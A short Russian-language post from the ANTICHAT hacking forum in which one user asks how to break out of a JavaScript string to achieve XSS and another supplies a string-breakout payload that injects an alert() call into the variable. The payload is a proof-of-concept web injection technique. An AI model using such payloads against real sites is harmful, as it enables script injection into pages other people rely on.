ANTICHAT - Показать сообщение отдельно - [Задай Вопрос

Цитата:

Сообщение от Octavian

↑
Привет помогите что можно сделать, нахожусь в пропускает <> без " как мне закрыть этот и выполнить XSS

Код:

var a = "asdf...";

а если с пробелом тогда норм но уже не работает

Код:

var a = "alert(9)//";

Судя по всему, ты полностью контролируешь переменную "a".

Тогда проще всего будет сделать инжект внутри , ты же уже там.

Попробуй payload =

Код:

a"+alert(100)+"b

Чтобы получилось

Код:

var a = "a"+alert(100)+"b";